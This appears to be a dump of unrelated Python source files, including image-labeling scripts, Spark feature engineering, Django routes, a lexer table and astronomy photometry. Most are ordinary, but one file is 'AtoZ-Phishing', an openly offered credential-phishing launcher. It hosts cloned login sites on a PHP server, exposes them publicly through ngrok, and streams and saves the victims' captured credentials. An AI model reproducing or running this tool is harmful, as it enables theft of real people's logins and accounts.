import cv2 import shutil import os import numpy as np from pathlib import Path from tqdm import tqdm from utils import get_all_files_in_folder def create_images_for_labeling(): dirpath = Path('denred0_data/prepare_images_for_labeling/result') if dirpath.exists() and dirpath.is_dir(): shutil.rmtree(dirpath) Path(dirpath).mkdir(parents=True, exist_ok=True) dirpath = Path('denred0_data/prepare_images_for_labeling/not_labeled') if dirpath.exists() and dirpath.is_dir(): shutil.rmtree(dirpath) Path(dirpath).mkdir(parents=True, exist_ok=True) dirpath = Path('denred0_data/prepare_images_for_labeling/for_labeling_result') if dirpath.exists() and dirpath.is_dir(): shutil.rmtree(dirpath) Path(dirpath).mkdir(parents=True, exist_ok=True) images_visual = get_all_files_in_folder(Path('denred0_data/prepare_images_for_labeling/visualization'), ['*.png']) root_directory = 'denred0_data/prepare_images_for_labeling/all_data' for subdir, dirs, files in os.walk(root_directory): for folder in dirs: images = get_all_files_in_folder(Path(root_directory).joinpath(folder), ['*.png']) for im in tqdm(images): result_image = np.zeros((1024, 1024, 3), dtype=int) image_dequs = cv2.imread(str(im), cv2.IMREAD_COLOR) orig_image = image_dequs[:512, :512, :] image_mark_dequs = image_dequs[512:1024, :512, :] cv2.putText(image_mark_dequs, folder, (50, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 0), 2, cv2.LINE_AA) image_mark = np.zeros((512, 512, 3), dtype=int) image_mark_model = np.zeros((512, 512, 3), dtype=int) for imvisual in images_visual: if imvisual.stem == im.stem: image_vis = cv2.imread(str(imvisual), cv2.IMREAD_COLOR) image_mark = image_vis[:, 512:1024, :] image_mark_model = image_vis[:, 1024:, :] result_image[:512, :512, :] = orig_image result_image[:512, 512:, :] = image_mark_dequs result_image[512:, :512, :] = image_mark result_image[512:, 512:, :] = image_mark_model cv2.imwrite('denred0_data/prepare_images_for_labeling/result/' + im.name, result_image) if np.sum(image_mark) == 0: cv2.imwrite('denred0_data/prepare_images_for_labeling/not_labeled/' + im.name, orig_image) if __name__ == '__main__': create_images_for_labeling()
python
import datetime import time from huey import crontab from hueyx.queues import hueyx HUEY_Q1 = hueyx('queue1') HUEY_Q2 = hueyx('queue2') @HUEY_Q1.task() def my_task1(): print('my_task1 called') return 1 @HUEY_Q1.db_task() def my_db_task1(): print('my_db_task1 called') return 1 @HUEY_Q1.db_task(heartbeat_timeout=120) def my_long_running_task1(heartbeat): print(f'{datetime.datetime.now()} my_long_running_task1 called. Sleeps 60 seconds.') time.sleep(60) print(f'{datetime.datetime.now()} Finish my_long_running_task1.') return 1 @HUEY_Q2.task() def my_task2(): print('my_task2 called') return 1 @HUEY_Q2.periodic_task(crontab(minute='*/1')) def my_periodic_task2(): print('my_periodic_task2 called', datetime.datetime.now()) return 1
python
"""The FleetGO component."""
python
from typing import List from .expresion_node import ExpressionNode from .let_node import LetNode class LetInNode(ExpressionNode): def __init__(self, let_body: List[LetNode], in_body: ExpressionNode, line: int, column: int): super(LetInNode, self).__init__(line, column) self.let_body: List[LetNode] = let_body self.in_body: ExpressionNode = in_body
python
from pyspark import SparkContext, SparkConf from pyspark.sql import SparkSession import pyspark.sql as sql from pyspark.sql.functions import * from pyspark.sql.types import * from collections import defaultdict from pyspark.sql import functions as F NUMBER_PRECISION = 2 def addSampleLabel(ratingSamples): ratingSamples.show(5, truncate=False) ratingSamples.printSchema() sampleCount = ratingSamples.count() ratingSamples.groupBy('rating').count().orderBy('rating').withColumn('percentage', F.col('count') / sampleCount).show() ratingSamples = ratingSamples.withColumn('label', when(F.col('rating') >= 3.5, 1).otherwise(0)) return ratingSamples def extractReleaseYearUdf(title): # add realease year if not title or len(title.strip()) < 6: return 1990 else: yearStr = title.strip()[-5:-1] return int(yearStr) def addMovieFeatures(movieSamples, ratingSamplesWithLabel): # add movie basic features samplesWithMovies1 = ratingSamplesWithLabel.join(movieSamples, on=['movieId'], how='left') # add releaseYear,title samplesWithMovies2 = samplesWithMovies1.withColumn('releaseYear', udf(extractReleaseYearUdf, IntegerType())('title')) \ .withColumn('title', udf(lambda x: x.strip()[:-6].strip(), StringType())('title')) \ .drop('title') # split genres samplesWithMovies3 = samplesWithMovies2.withColumn('movieGenre1', split(F.col('genres'), "\\|")[0]) \ .withColumn('movieGenre2', split(F.col('genres'), "\\|")[1]) \ .withColumn('movieGenre3', split(F.col('genres'), "\\|")[2]) # add rating features movieRatingFeatures = samplesWithMovies3.groupBy('movieId').agg(F.count(F.lit(1)).alias('movieRatingCount'), format_number(F.avg(F.col('rating')), NUMBER_PRECISION).alias( 'movieAvgRating'), F.stddev(F.col('rating')).alias( 'movieRatingStddev')).fillna(0) \ .withColumn('movieRatingStddev', format_number(F.col('movieRatingStddev'), NUMBER_PRECISION)) # join movie rating features samplesWithMovies4 = samplesWithMovies3.join(movieRatingFeatures, on=['movieId'], how='left') samplesWithMovies4.printSchema() samplesWithMovies4.show(5, truncate=False) return samplesWithMovies4 def extractGenres(genres_list): ''' pass in a list which format like ["Action|Adventure|Sci-Fi|Thriller", "Crime|Horror|Thriller"] count by each genre,return genre_list in reverse order eg: (('Thriller',2),('Action',1),('Sci-Fi',1),('Horror', 1), ('Adventure',1),('Crime',1)) return:['Thriller','Action','Sci-Fi','Horror','Adventure','Crime'] ''' genres_dict = defaultdict(int) for genres in genres_list: for genre in genres.split('|'): genres_dict[genre] += 1 sortedGenres = sorted(genres_dict.items(), key=lambda x: x[1], reverse=True) return [x[0] for x in sortedGenres] def addUserFeatures(samplesWithMovieFeatures): extractGenresUdf = udf(extractGenres, ArrayType(StringType())) samplesWithUserFeatures = samplesWithMovieFeatures \ .withColumn('userPositiveHistory', F.collect_list(when(F.col('label') == 1, F.col('movieId')).otherwise(F.lit(None))).over( sql.Window.partitionBy("userId").orderBy(F.col("timestamp")).rowsBetween(-100, -1))) \ .withColumn("userPositiveHistory", reverse(F.col("userPositiveHistory"))) \ .withColumn('userRatedMovie1', F.col('userPositiveHistory')[0]) \ .withColumn('userRatedMovie2', F.col('userPositiveHistory')[1]) \ .withColumn('userRatedMovie3', F.col('userPositiveHistory')[2]) \ .withColumn('userRatedMovie4', F.col('userPositiveHistory')[3]) \ .withColumn('userRatedMovie5', F.col('userPositiveHistory')[4]) \ .withColumn('userRatingCount', F.count(F.lit(1)).over(sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1))) \ .withColumn('userAvgReleaseYear', F.avg(F.col('releaseYear')).over( sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1)).cast(IntegerType())) \ .withColumn('userReleaseYearStddev', F.stddev(F.col("releaseYear")).over( sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1))) \ .withColumn("userAvgRating", format_number( F.avg(F.col("rating")).over(sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1)), NUMBER_PRECISION)) \ .withColumn("userRatingStddev", F.stddev(F.col("rating")).over( sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1))) \ .withColumn("userGenres", extractGenresUdf( F.collect_list(when(F.col('label') == 1, F.col('genres')).otherwise(F.lit(None))).over( sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1)))) \ .withColumn("userRatingStddev", format_number(F.col("userRatingStddev"), NUMBER_PRECISION)) \ .withColumn("userReleaseYearStddev", format_number(F.col("userReleaseYearStddev"), NUMBER_PRECISION)) \ .withColumn("userGenre1", F.col("userGenres")[0]) \ .withColumn("userGenre2", F.col("userGenres")[1]) \ .withColumn("userGenre3", F.col("userGenres")[2]) \ .withColumn("userGenre4", F.col("userGenres")[3]) \ .withColumn("userGenre5", F.col("userGenres")[4]) \ .drop("genres", "userGenres", "userPositiveHistory") \ .filter(F.col("userRatingCount") > 1) samplesWithUserFeatures.printSchema() samplesWithUserFeatures.show(10) samplesWithUserFeatures.filter(samplesWithMovieFeatures['userId'] == 1).orderBy(F.col('timestamp').asc()).show( truncate=False) return samplesWithUserFeatures def splitAndSaveTrainingTestSamples(samplesWithUserFeatures, file_path): smallSamples = samplesWithUserFeatures.sample(0.1) training, test = smallSamples.randomSplit((0.8, 0.2)) trainingSavePath = file_path + '/trainingSamples' testSavePath = file_path + '/testSamples' training.repartition(1).write.option("header", "true").mode('overwrite') \ .csv(trainingSavePath) test.repartition(1).write.option("header", "true").mode('overwrite') \ .csv(testSavePath) def splitAndSaveTrainingTestSamplesByTimeStamp(samplesWithUserFeatures, file_path): smallSamples = samplesWithUserFeatures.sample(0.1).withColumn("timestampLong", F.col("timestamp").cast(LongType())) quantile = smallSamples.stat.approxQuantile("timestampLong", [0.8], 0.05) splitTimestamp = quantile[0] training = smallSamples.where(F.col("timestampLong") <= splitTimestamp).drop("timestampLong") test = smallSamples.where(F.col("timestampLong") > splitTimestamp).drop("timestampLong") trainingSavePath = file_path + '/trainingSamples' testSavePath = file_path + '/testSamples' training.repartition(1).write.option("header", "true").mode('overwrite') \ .csv(trainingSavePath) test.repartition(1).write.option("header", "true").mode('overwrite') \ .csv(testSavePath) if __name__ == '__main__': conf = SparkConf().setAppName('featureEngineering').setMaster('local') spark = SparkSession.builder.config(conf=conf).getOrCreate() file_path = 'file:///Users/changwenbiao/jdwork/SparrowRecSys/src/main/resources' movieResourcesPath = file_path + "/webroot/sampledata/movies.csv" ratingsResourcesPath = file_path + "/webroot/sampledata/ratings.csv" movieSamples = spark.read.format('csv').option('header', 'true').load(movieResourcesPath) ratingSamples = spark.read.format('csv').option('header', 'true').load(ratingsResourcesPath) ratingSamplesWithLabel = addSampleLabel(ratingSamples) ratingSamplesWithLabel.show(10, truncate=False) samplesWithMovieFeatures = addMovieFeatures(movieSamples, ratingSamplesWithLabel) samplesWithUserFeatures = addUserFeatures(samplesWithMovieFeatures) # save samples as csv format splitAndSaveTrainingTestSamples(samplesWithUserFeatures, file_path + "/webroot/sampledata") # splitAndSaveTrainingTestSamplesByTimeStamp(samplesWithUserFeatures, file_path + "/webroot/sampledata")
python
from django.shortcuts import render # Create your views here. def home(request): return render(request, 'website_component/home.html', {'ViewName': request})
python
""" Entradas Salidas Impares-->int-->a """ a=0 while(a<100): if(a%2!=0 and a%7!=0): print(a) a=a+1
python
from pyplan_core.classes.wizards.BaseWizard import BaseWizard import json class Wizard(BaseWizard): def __init__(self): self.code = "CreateIndex" def generateDefinition(self, model, params): nodeId = params["nodeId"] if model.existNode(nodeId): base_node = model.getNode(nodeId) new_def = None if params["type"] == "list": index_values = params["values"] index_values_str = json.dumps(index_values, ensure_ascii=False) new_def = f"result = pd.Index({index_values_str})" elif params["type"] == "range": if params["rangeType"] == "string": prefix = params["stringPrefix"] index_values = [f'{prefix}{nn}' for nn in range( int(params["from"]), int(params["to"])+1, int(params["step"]))] str_values = json.dumps(index_values, ensure_ascii=False) new_def = f"result = pd.Index({str_values})" elif params["rangeType"] == "numeric": index_values = list(range(int(params["from"]), int( params["to"])+1, int(params["step"]))) str_values = json.dumps(index_values, ensure_ascii=False) new_def = f"result = pd.Index({str_values})" elif params["rangeType"] == "date": freq = params["freq"] start = params["start"] if "start" in params and params["start"] else None end = params["end"] if "end" in params and params["end"] else None periods = params["periods"] if "periods" in params and params["periods"] else None if start and end: new_def = f"result = pd.date_range(start='{start}', end='{end}',freq='{freq}')" elif end: new_def = f"result = pd.date_range(end='{end}', periods={periods},freq='{freq}')" else: new_def = f"result = pd.date_range(start='{start}', periods={periods},freq='{freq}')" # test and set new definition if new_def: temp_res = model.evaluate(new_def) base_node.definition = new_def return nodeId
python
# If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23. # Find the sum of all the multiples of 3 or 5 below the provided parameter value number. # multiplesOf3and5(10) should return a number. # multiplesOf3and5(49) should return 543. # multiplesOf3and5(1000) should return 233168. # multiplesOf3and5(8456) should return 16687353. # multiplesOf3and5(19564) should return 89301183. def mul3and5(num): lis = [] if num <3: return 0 for i in range(num): if not i%3 or not i%5: lis.append(i) return sum(lis) # print(mul3and5())
python
# lextab.py. This file automatically created by PLY (version 3.6). Don't edit! _tabversion = '3.5' _lextokens = set(['DO', 'REMAINDER_ASSIGN', 'RSHIFT', 'SYNCHRONIZED', 'GTEQ', 'MINUS_ASSIGN', 'OR_ASSIGN', 'VOID', 'STRING_LITERAL', 'ABSTRACT', 'CHAR', 'LSHIFT_ASSIGN', 'WHILE', 'SHORT', 'STATIC', 'PRIVATE', 'LSHIFT', 'CONTINUE', 'THROWS', 'NULL', 'TRUE', 'BYTE', 'NEQ', 'CASE', 'TIMES_ASSIGN', 'THROW', 'NEW', 'SWITCH', 'LONG', 'FINAL', 'PROTECTED', 'STRICTFP', 'IF', 'NUM', 'CATCH', 'ELLIPSIS', 'NATIVE', 'CLASS', 'BLOCK_COMMENT', 'IMPLEMENTS', 'TRANSIENT', 'LINE_COMMENT', 'FOR', 'PACKAGE', 'PLUSPLUS', 'AND_ASSIGN', 'RRSHIFT_ASSIGN', 'ENUM', 'ELSE', 'TRY', 'FINALLY', 'DIVIDE_ASSIGN', 'PUBLIC', 'MINUSMINUS', 'EQ', 'RRSHIFT', 'AND', 'ASSERT', 'RETURN', 'FALSE', 'NAME', 'XOR_ASSIGN', 'THIS', 'DOUBLE', 'LTEQ', 'RSHIFT_ASSIGN', 'CHAR_LITERAL', 'DEFAULT', 'FLOAT', 'BREAK', 'INT', 'BOOLEAN', 'VOLATILE', 'IMPORT', 'PLUS_ASSIGN', 'INTERFACE', 'EXTENDS', 'INSTANCEOF', 'SUPER', 'OR']) _lexreflags = 0 _lexliterals = '()+-*/=?:,.^|&~!=[]{};<>@%' _lexstateinfo = {'INITIAL': 'inclusive'} _lexstatere = {'INITIAL': [('(?P<t_BLOCK_COMMENT>/\\*(.|\\n)*?\\*/)|(?P<t_NAME>[A-Za-z_$][A-Za-z0-9_$]*)|(?P<t_newline>\\n+)|(?P<t_newline2>(\\r\\n)+)|(?P<t_NUM>\\.?[0-9][0-9eE_lLdDa-fA-F.xXpP]*)|(?P<t_STRING_LITERAL>\\"([^\\\\\\n]|(\\\\.))*?\\")|(?P<t_CHAR_LITERAL>\\\'([^\\\\\\n]|(\\\\.))*?\\\')|(?P<t_ELLIPSIS>\\.\\.\\.)|(?P<t_ignore_LINE_COMMENT>//.*)|(?P<t_PLUSPLUS>\\+\\+)|(?P<t_MINUSMINUS>\\-\\-)|(?P<t_OR>\\|\\|)|(?P<t_RRSHIFT_ASSIGN>>>>=)|(?P<t_XOR_ASSIGN>\\^=)|(?P<t_RSHIFT_ASSIGN>>>=)|(?P<t_LSHIFT_ASSIGN><<=)|(?P<t_OR_ASSIGN>\\|=)|(?P<t_PLUS_ASSIGN>\\+=)|(?P<t_RRSHIFT>>>>)|(?P<t_TIMES_ASSIGN>\\*=)|(?P<t_LTEQ><=)|(?P<t_RSHIFT>>>)|(?P<t_AND_ASSIGN>&=)|(?P<t_DIVIDE_ASSIGN>/=)|(?P<t_GTEQ>>=)|(?P<t_MINUS_ASSIGN>-=)|(?P<t_EQ>==)|(?P<t_AND>&&)|(?P<t_REMAINDER_ASSIGN>%=)|(?P<t_NEQ>!=)|(?P<t_LSHIFT><<)', [None, ('t_BLOCK_COMMENT', 'BLOCK_COMMENT'), None, ('t_NAME', 'NAME'), ('t_newline', 'newline'), ('t_newline2', 'newline2'), None, (None, 'NUM'), (None, 'STRING_LITERAL'), None, None, (None, 'CHAR_LITERAL'), None, None, (None, 'ELLIPSIS'), (None, None), (None, 'PLUSPLUS'), (None, 'MINUSMINUS'), (None, 'OR'), (None, 'RRSHIFT_ASSIGN'), (None, 'XOR_ASSIGN'), (None, 'RSHIFT_ASSIGN'), (None, 'LSHIFT_ASSIGN'), (None, 'OR_ASSIGN'), (None, 'PLUS_ASSIGN'), (None, 'RRSHIFT'), (None, 'TIMES_ASSIGN'), (None, 'LTEQ'), (None, 'RSHIFT'), (None, 'AND_ASSIGN'), (None, 'DIVIDE_ASSIGN'), (None, 'GTEQ'), (None, 'MINUS_ASSIGN'), (None, 'EQ'), (None, 'AND'), (None, 'REMAINDER_ASSIGN'), (None, 'NEQ'), (None, 'LSHIFT')])]} _lexstateignore = {'INITIAL': ' \t\x0c'} _lexstateerrorf = {'INITIAL': 't_error'} _lexstateeoff = {}
python
from vpv.ui.controllers import importer from pathlib import Path import pytest def test_folder_filter(): #path: str, folder_include_pattern: str assert importer.folder_filter('/mnt/bit_nfs/neil/mutants/output/jag2/20150409_JAG2_E14.5_13.3f_HOM_XX_REC_scaled_4.6823_pixel_14.0001/output/registrations/deformable_192_to_10/20150409_JAG2_E14.5_13.3f_HOM_XX_REC_scaled_4.6823_pixel_14.0001/20150409_JAG2_E14.5_13.3f_HOM_XX_REC_scaled_4.6823_pixel_14.0001.nrrd')
python
from django.urls import path,include from . import views from bookshop.views import index from django.contrib.auth import views as auth_views urlpatterns = [ path('account/register',views.register,name='register'), path('account/login',views.login,name='login'), path('dashboard',index,name='dashboard'), path('logout/',auth_views.LogoutView.as_view(template_name='bookshop/index.html'),name='logout'), ]
python
import numpy as np import matplotlib.pyplot as plt from astropy.io import fits from astropy import wcs from astropy.io import ascii # TODO set the # UC4 296-009008 # (90.140913, -30.99747) # ASASSN ID AP 18326421 V=12.79 def find_min(xobj,yobj, xlist, ylist): 'find the index of the star closest to position xobj, yobj' dr = (xlist-xobj)**2 + (ylist-yobj)**2 # find min dr ind = np.argmin(dr) print(np.sqrt(dr[ind])) return ind from astropy.table import Table from pathlib import Path from astropy.io import ascii # read in aavso table as a template d = ascii.read('00demo_aavso.txt') outf = 'obs_LCOGT_MAK.ecsv' # get a list of all the AAVSO files in the directory my_file = Path(outf) if my_file.is_file(): # file exists print('{} exists! Reading in...'.format(my_file)) t = ascii.read(outf) else: # if it does not exist, make it for the first time print('{} does not exist. Processing all the files.'.format(my_file)) t = ascii.read('00demo_aavso.txt') t['lco_filename']=['verylongfilenameusedtomakestaaasduffgoon'] t['MJD'] = 12345.00 t['LAT'] = 0.00 t['LON'] = 0.00 t.replace_column('Band',['3lf']) t.replace_column('Star Name',['ASASSN-V J060000.76-310027.83']) t.replace_column('Comp Star 1',['UC4 296-009008']) t.remove_column('Charts') t.remove_row(0) # print(t.columns) # process all the files in the list and add them to the table for imname in Path('./').rglob('*e91.fits.fz'): # is imname already in the table under the lco_filename if (t['lco_filename'].size > 0): if (np.any(t['lco_filename'] == imname.name)): print('{} already processed. skipping...'.format(imname)) continue hdu1 = fits.open(imname) with fits.open(imname) as hdul: print('processing: ',imname) imh = hdu1['SCI'].header epoch = imh['MJD-OBS'] print('{:.5f} MJD'.format(epoch)) print(imname) t.add_row() t[-1]['Band'] = imh['FILTER'] t[-1]['MJD'] = imh['MJD-OBS'] t[-1]['lco_filename'] = imname t[-1]['Observer Code'] = 'MAK' t[-1]['Airmass'] = 0.0 t[-1]['Observer Affiliation'] = imh['SITEID'] t[-1]['LAT'] = imh['LATITUDE'] t[-1]['LON'] = imh['LONGITUD'] t[-1]['Airmass'] = imh['AIRMASS'] t[-1]['Star Name'] = 'ASASSN-V J060000.76-310027.83' t[-1]['Comp Star 1'] = 'UC4 296-009008' phot = hdu1['CAT'].data # calculate the flux of the star relative to the STD star # Parse the WCS keywords in the primary HDU w = wcs.WCS(hdu1['SCI'].header) # Print out the "name" of the WCS, as defined in the FITS header #print(w.wcs.name) # Print out all of the settings that were parsed from the header #w.wcs.print_contents() # star coords in pix star_crd = w.wcs_world2pix([[90.0033, -31.0076]], 0) # star # RA #90.0033 (06:00:00.792) #Dec #-31.0076 (-31:00:27.36) #Epoch #2000 # reference star UC4 296-009008 refe_crd = w.wcs_world2pix([[90.1409130, -30.9974700]], 0) # 296-009008 #print(refe_crd) star_arg = find_min(star_crd[0][0], star_crd[0][1], phot['x'], phot['y']) #print(star_arg) refe_arg = find_min(refe_crd[0][0], refe_crd[0][1], phot['x'], phot['y']) #print(refe_arg) targflux = phot['flux'][star_arg] targfluxerr = phot['fluxerr'][star_arg] refflux = phot['flux'][refe_arg] reffluxerr = phot['fluxerr'][refe_arg] print('star flux is {:.1f} +- {:.1f}'.format(targflux, targfluxerr)) print('refe flux is {:.1f} +- {:.1f}'.format(refflux, reffluxerr)) dm = -2.5 * np.log10(targflux/refflux) dmerr = np.sqrt( (targfluxerr/targflux)**2 + (reffluxerr/refflux)**2) * dm print() print('delta mag is {:.3f}+-{:.3f} mag'.format(dm, dmerr)) mag = dm + 13.054 # 13.054 is g' magnitude eyeballed from ASAS-SN t[-1]['Magnitude'] = mag t[-1]['Uncertainty'] = dmerr t.sort('MJD') # write out the table t.write(outf, format='ascii.ecsv', overwrite=True) print(t)
python
# @file globalclasses.py # @brief global classes and objects # - # MODULE_ARCH: # CLASS_ARCH: # README: # Global variables dependence: # #standard #start.py #[GAP=FastApp(), life_cycle: always exist] #used by: start.py, scli.py #init at: start.globalclasses_init() global GAP GAP=None # refer configobj.readthedocs.io global SETTING SETTING = None global UI UI = None global MODEL MODEL = None global LASSDATA LASSDATA = None global ENVDATA ENVDATA = None
python
from http.server import HTTPServer, BaseHTTPRequestHandler from logger import logger from config import change_config, get_config BADREQUEST = 400 handlers = { 'get': [], 'post': [] } class BaseServer(BaseHTTPRequestHandler): def match_and_call(self, method): url = self.path.replace('..', '') # /?r=128&g=128&b=128 global handlers match = False for key, handler in handlers[method]: # matcher might be a string # or a function matcher = key if type(matcher) == str: if matcher == '*': matcher = lambda: True elif method.lower() == 'get': matcher = lambda url: url.split('?')[0] == key.split('?')[0] elif method.lower() == 'post': matcher = lambda url: url == key if matcher(url): handler(self) match = True break if not match: # default handler logger.info('invalid request!') # was not a valid request self.send_response(BADREQUEST) self.end_headers() def do_POST(self): self.match_and_call('post') def do_GET(self): self.match_and_call('get') class SezanlightRequestHandler: def add_route(self, method, matcher, handler): """matcher can be a lambda function that receives the url and that returns true or false, a string, or a single wildcard to match any url for the given method""" msg = 'a matcher function' if type(matcher) == str: msg = matcher if matcher == '*': msg = 'any url' self.httpserver = None global handlers handlers[method.lower()].append((matcher, handler)) print('adding {} route for {}'.format(method, msg)) def start(self): raspberry_ip = get_config('raspberry_ip', '0.0.0.0') raspberry_port = get_config('raspberry_port', 3546) logger.info('listening on {}:{}'.format(raspberry_ip, raspberry_port)) self.httpserver = HTTPServer((raspberry_ip, raspberry_port), BaseServer) self.httpserver.serve_forever() server = SezanlightRequestHandler()
python
'''MIT License Copyright (c) 2021 Aditya Dangwal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' import requests , os import wget import re import sys red="\033[1;31;40m" green="\033[1;32;40m" yellow="\033[1;33;40m" purple="\033[1;34;40m" pink="\033[1;35;40m" blue="\033[1;36;40m" def banner(): os.system("clear") print(f"""{blue} {red} █████╗ ████████╗ ██████╗ ███████╗ {yellow} ██████╗ ██╗ ██╗██╗███████╗██╗ ██╗██╗███╗ ██╗ ██████╗ {red}██╔══██╗╚══██╔══╝██╔═══██╗╚══███╔╝ {yellow} ██╔══██╗██║ ██║██║██╔════╝██║ ██║██║████╗ ██║██╔════╝ {red}███████║ ██║ ██║ ██║ ███╔╝█████╗{yellow}██████╔╝███████║██║███████╗███████║██║██╔██╗ ██║██║ ███╗ {red}██╔══██║ ██║ ██║ ██║ ███╔╝ ╚════╝{yellow}██╔═══╝ ██╔══██║██║╚════██║██╔══██║██║██║╚██╗██║██║ ██║ {red}██║ ██║ ██║ ╚██████╔╝███████╗ {yellow} ██║ ██║ ██║██║███████║██║ ██║██║██║ ╚████║╚██████╔╝ {red}╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ {yellow}╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝ {blue}Created By {pink}Technical Dangwal {green}Help - show options """) dict={} def show_folder(): show=os.listdir("sites") for count,folder in enumerate(show,1): dict[count]=folder def start_server(id): os.system("clear") print(f"{yellow}Starting PHP Server") os.chdir(f"sites/{dict[id]}") os.system("php -S localhost:4444 > /dev/null 2>&1 &") def start_ngrok(path): try: os.chdir(path) if os.path.isfile("ngrok"): print(f"{yellow}Starting Ngrok Server ") os.system("./ngrok http 4444 > /dev/null 2>&1 &") os.system("sleep 5") os.system("termux-open-url http://localhost:4040") else: wget.download("https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip") os.system("unzip ngrok*") os.system("rm ngrok-stable-linux-arm.zip") print(f"{yellow}Starting Ngrok Server ") os.system("./ngrok http 4444 > /dev/null 2>&1 &") os.system("sleep 5") os.system("termux-open-url http://localhost:4040") except: print(f"{red}Please Open Your Hotspot Otherwise You Cann't get link ") def get_cred(id): os.chdir(f"sites/{dict[id]}") print(f"{red}[{blue}*{red}] {green} Waiting Credentials , {blue}Press ctrl+c To Exit") try: while(True): if os.path.isfile("log.txt"): os.system("tail -f log.txt") except: os.system("killall -9 php > /dev/null 2>&1 &") os.system("killall -9 ngrok > /dev/null 2>&1 &") file=input(f"{yellow}Are you want to save this credential on a file (Y/N): {green}") if file=="Y" or file=="y": file=input(f"{yellow}filename: {green}") os.system(f"mv log.txt {file}") os.system(f"mv {file} $HOME/AtoZ-Phishing/files") print(f"{yellow}Thanks For Using This Tool.\033[0m") sys.exit() else: try: os.remove("log.txt") print(f"{yellow}Thanks For Using This Tool.\033[0m") sys.exit() except: pass banner() p=os.getcwd() while(1): try: user=input(f"{blue}AtoZ-Phishing =>{green} ") user=user.strip() if user=="Help" or user=="help": print(f"""{red}search: {blue}By typing search you can find whatever you want related to phishing sites (example: searching instagram) {red}show: {blue}show all phishing sites {red}start: {blue}Start attack (example {blue}AtoZ-Phishing => {green}start {yellow}No.: {green}Type the number according to given sequence (by type show in terminal) {red}id: {blue}It show your save ids {red}removeid: {blue}If you want to remove your save ids then type removeids {red}exit: {blue}Want to exit then write exit. {red}uninstall: {blue}if you want to delete this tool then type uninstall and here it is done. {red}subscribe: {blue}You can enter into my channel by easily type subscribe. """) elif user=="show" or user=="Show": show_folder() for count,file in dict.items(): print(f"{red}[{green}{count}{red}] {yellow}{file}") elif user=="exit" or user=="Exit": print(f"{yellow}Thanks For Using This Tool.\033[0m") break elif user=="search" or user=="Search": print(f"{yellow}[00] Back") search=input(f"{yellow}Search: {green}") show_folder() if search==00 or search==0: continue print(f"{yellow}Number phishingSites") for key,value in dict.items(): r=re.findall(search+".*",value) if r: print(f"{yellow}{key} {red} {r}") elif user=="start" or user=="Start": print(f"{yellow}[00] Back") id=int(input(f"{yellow}No.: {green}")) if id==00 or id==0: continue show_folder() start_server(id) start_ngrok(p) get_cred(id) elif user=="id" or user=="Id": os.system("cat $HOME/AtoZ*/files/*") elif user=="removeid": os.system("rm $HOME/AtoZ*/files/*") elif user=="uninstall" or user=="Uninstall": os.system("rm -rf $HOME/a") break elif user=="Subscribe" or user=="subscribe": os.system("termux-open-url https://www.youtube.com/channel/UCpFKalNOjvtB8Cnm40VGq2Q") else: print(f"{red}Wrong Input") except: pass
python
from data_collection.management.commands import BaseHalaroseCsvImporter class Command(BaseHalaroseCsvImporter): council_id = "E07000107" addresses_name = ( "local.2019-05-02/Version 1/polling_station_export-2019-03-04Dart.csv" ) stations_name = ( "local.2019-05-02/Version 1/polling_station_export-2019-03-04Dart.csv" ) elections = ["local.2019-05-02"] def station_record_to_dict(self, record): rec = super().station_record_to_dict(record) if not rec: return rec if rec["internal_council_id"] in [ "54-hodsoll-street-ridley-village-hall", "57-fawkham-and-hartley-church-centre", ]: return None return rec def address_record_to_dict(self, record): rec = super().address_record_to_dict(record) uprn = record.uprn.strip().lstrip("0") if record.pollingstationnumber == "n/a": return None if record.houseid.strip() in ["9004672", "9004673"]: rec["postcode"] = "DA2 7AP" if uprn in [ "10023438353", # DA11JB -> DA11HS : Flat Above The Plough 110 Lowfield Street, Dartford, Kent "100060873013", # DA28AX -> DA28DL : Beacon House Shellbank Lane, Bean, Dartford, Kent ]: rec["accept_suggestion"] = True if uprn in [ "100060862814" # DA99XT -> DA13JB : 104 Havelock Drive, Greenhithe, Kent ]: rec["accept_suggestion"] = False return rec
python
import numpy as np def check_temperature(T, melting_point=3000): """ Check if an instantaneous temperature will melt the divertor. """ if T > melting_point: print("Destroyed divertor!") melted = True elif T <= 0: raise ValueError("Unphysical temperature value!") else: melted = False return melted def reactor_survived(temp_time_series): """ Check that the divertor survived a whole shot. """ survived = True for T in temp_time_series: if check_temperature(T): survived = False return survived
python
